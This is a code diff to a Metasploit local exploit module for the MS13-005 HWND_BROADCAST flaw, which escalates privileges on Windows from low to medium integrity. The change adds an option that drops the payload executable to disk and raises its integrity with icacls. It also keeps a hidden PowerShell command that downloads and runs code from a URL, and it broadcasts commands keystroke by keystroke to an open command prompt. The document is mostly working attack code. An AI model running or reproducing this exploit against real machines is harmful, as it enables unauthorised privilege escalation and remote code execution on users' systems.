@@ -15,29 +15,30 @@ class Metasploit3 < Msf::Exploit::Local
15
15
include Msf ::Exploit ::EXE
16
16
include Msf ::Exploit ::Remote ::HttpServer
17
17
include Msf ::Post ::File
18
+ include Msf ::Exploit ::FileDropper
18
19
19
20
def initialize ( info = { } )
20
21
super ( update_info ( info ,
21
22
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation' ,
22
23
'Description' => %q{
23
- The Windows kernel does not properly isolate broadcast messages from low integrity
24
- applications from medium or high integrity applications. This allows commands to be
25
- broadcasted to an open medium or high integrity command prompts allowing escalation
26
- of privileges. We can spawn a medium integrity command prompt, after spawning a low
27
- integrity command prompt, by using the Win+Shift+# combination to specify the position
28
- of the command prompt on the taskbar. We can then broadcast our command and hope that
29
- the user is away and doesn't corrupt it by interracting with the UI.
30
- Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2,
31
- Server 2012, RT. Spawning a command prompt with the shortcut key does not work in
32
- Vista so you will have to check if the user is already running a command prompt
33
- and set SPAWN_PROMPT false.
24
+ The Windows kernel does not properly isolate broadcast messages from low integrity
25
+ applications from medium or high integrity applications. This allows commands to be
26
+ broadcasted to an open medium or high integrity command prompts allowing escalation
27
+ of privileges. We can spawn a medium integrity command prompt, after spawning a low
28
+ integrity command prompt, by using the Win+Shift+# combination to specify the position
29
+ of the command prompt on the taskbar. We can then broadcast our command and hope that
30
+ the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue
31
+ affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
32
+ But Spawning a command prompt with the shortcut key does not work in Vista so you will
33
+ have to check if the user is already running a command prompt and set SPAWN_PROMPT
34
+ false.
34
35
} ,
35
36
'License' => MSF_LICENSE ,
36
37
'Author' =>
37
38
[
38
- 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ,
39
- 'Tavis Ormandy ' , #Discovery
40
- 'Axel Souchet ' #@0vercl0k POC
39
+ 'Tavis Ormandy' , # Discovery
40
+ 'Axel Souchet ' , # @0vercl0k POC
41
+ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk> ' # Metasploit module
41
42
] ,
42
43
'Platform' => [ 'win' ] ,
43
44
'SessionTypes' => [ 'meterpreter' ] ,
@@ -59,21 +60,17 @@ def initialize(info={})
59
60
60
61
register_options (
61
62
[
62
- OptBool . new ( 'SPAWN_PROMPT' , [ true , 'Attempts to spawn a medium integrity command prompt' , true ] )
63
+ OptBool . new ( 'SPAWN_PROMPT' , [ true , 'Attempts to spawn a medium integrity command prompt' , true ] ) ,
64
+ OptBool . new ( 'FILESYSTEM' , [ true , 'Drop payload to filesystem and execute' , false ] )
63
65
] , self . class
64
66
)
65
67
66
- register_advanced_options (
67
- [
68
- OptBool . new ( 'EEGG' , [ false , 'Anderson command technique' , ] )
69
- ]
70
- )
71
68
end
72
69
73
70
# Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
74
71
# Or use GetToken railgun calls?
75
72
def low_integrity_level?
76
- tmp_dir = expand_path ( "%TEMP %" )
73
+ tmp_dir = expand_path ( "%USERPROFILE %" )
77
74
cd ( tmp_dir )
78
75
new_dir = "#{ rand_text_alpha ( 5 ) } "
79
76
begin
@@ -120,11 +117,54 @@ def cleanup
120
117
end
121
118
end
122
119
123
- def primer
124
- e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\n dyB0aGUgV2hpdGUgUmFiYml0Lg0KS25vY2ssIGtub2NrLCBOZW8u"
120
+ def exploit
121
+ # First of all check if the session is running on Low Integrity Level.
122
+ # If it isn't doesn't worth continue
125
123
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " ) if not sysinfo . nil?
126
124
fail_with ( Exploit ::Failure ::NotVulnerable , "Not running at Low Integrity!" ) unless low_integrity_level?
127
125
126
+ # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
127
+ # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
128
+ # integrity process can write.
129
+ drop_to_fs = false
130
+ if datastore [ "FILESYSTEM" ]
131
+ payload_file = "#{ rand_text_alpha ( 5 +rand ( 3 ) ) } .exe"
132
+ begin
133
+ tmp_dir = expand_path ( "%TEMP%" )
134
+ cd ( tmp_dir )
135
+ print_status ( "Trying to drop payload to #{ tmp_dir } ..." )
136
+ if write_file ( payload_file , generate_payload_exe )
137
+ print_good ( "Payload dropped successfully, exploiting..." )
138
+ drop_to_fs = true
139
+ register_file_for_cleanup ( payload_file )
140
+ payload_path = tmp_dir
141
+ else
142
+ print_error ( "Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access." )
143
+ drop_to_fs = false
144
+ end
145
+ rescue ::Rex ::Post ::Meterpreter ::RequestError
146
+ print_error ( "Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access." )
147
+ drop_to_fs = false
148
+ end
149
+ end
150
+
151
+ if drop_to_fs
152
+ command = "cd #{ payload_path } && icacls #{ payload_file } /setintegritylevel medium && #{ payload_file } "
153
+ make_it ( command )
154
+ else
155
+ super
156
+ end
157
+
158
+ end
159
+
160
+ def primer
161
+ url = get_uri ( )
162
+ download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
163
+ command = "powershell.exe -w hidden -nop -ep bypass -c #{ download_and_run } "
164
+ make_it ( command )
165
+ end
166
+
167
+ def make_it ( command )
128
168
if datastore [ 'SPAWN_PROMPT' ]
129
169
@hwin = client . railgun . kernel32 . GetConsoleWindow ( ) [ 'return' ]
130
170
if @hwin == nil
@@ -159,11 +199,6 @@ def primer
159
199
end
160
200
161
201
print_status ( "Broadcasting payload command to prompt... I hope the user is asleep!" )
162
- data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
163
- url = get_uri ( )
164
- download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
165
- command = "powershell.exe -w hidden -nop -ep bypass -c #{ download_and_run } "
166
- command = Rex ::Text . decode_base64 ( e ) if datastore [ 'EEGG' ]
167
202
command . each_char do |c |
168
203
print c if command . length < 200
169
204
client . railgun . user32 . SendMessageA ( 'HWND_BROADCAST' , 'WM_CHAR' , c . unpack ( 'c' ) . first , 0 )
0 commit comments